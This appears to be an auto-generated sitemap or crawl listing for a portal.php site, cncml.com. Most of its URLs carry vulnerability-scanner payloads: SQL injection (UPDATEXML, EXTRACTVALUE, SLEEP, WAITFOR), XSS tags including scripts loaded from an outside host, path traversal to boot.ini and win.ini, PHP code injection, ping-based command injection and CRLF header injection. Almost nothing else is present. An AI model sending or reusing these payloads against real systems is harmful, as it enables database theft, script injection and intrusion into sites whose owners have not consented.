http://www.cncml.com/portal.php?catid=1&mod=rss)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss);%20IF(11=53)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss);%20IF(51=51)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss6633x3X6 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rssAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rssJyI%3D 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rssalert(42873) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rsse360 0.0001 http://www.cncml.com/portal.php?catid=1&mod=set%7Cset&set 0.0001 http://www.cncml.com/portal.php?catid=3&mod=rss 0.0001 http://www.cncml.com/portal.php?catid=6&mod=rss 0.0001 http://www.cncml.com/portal.php?catid=7&mod=rss 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=block&op=getblock&forceupdate=1&inajax=1&bid=1025&tpl=portal/index 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment 0.0002 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%20 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=portalcp&ac=comment)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%3Cdir 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=');print(md5(1122));// 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=(SELECT%20(CASE%20WHEN%20(41=44)%20THEN%201%20ELSE%2041*(SELECT%2041%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=(SELECT%20(CASE%20WHEN%20(55=58)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=(SELECT%20(CASE%20WHEN%20(88=91)%20THEN%201%20ELSE%2088*(SELECT%2088%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=(SELECT%20(CASE%20WHEN%20(99=99)%20THEN%201%20ELSE%2099*(SELECT%2099%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=................windowswin.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1 0.0015 http://www.cncml.com/portal.php?mod=rss&catid=1!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%00' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%2085=45 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20OR%2027=27%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=98)%20THEN%201%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=84)%20THEN%201%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25%27%29%20AND%2012%3D18%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25%27%29%20AND%2078%3D78%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%2087=87%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?mod=rss&catid=1%25'%20AND%2099=91%20AND%20'%25'=' 0.0001 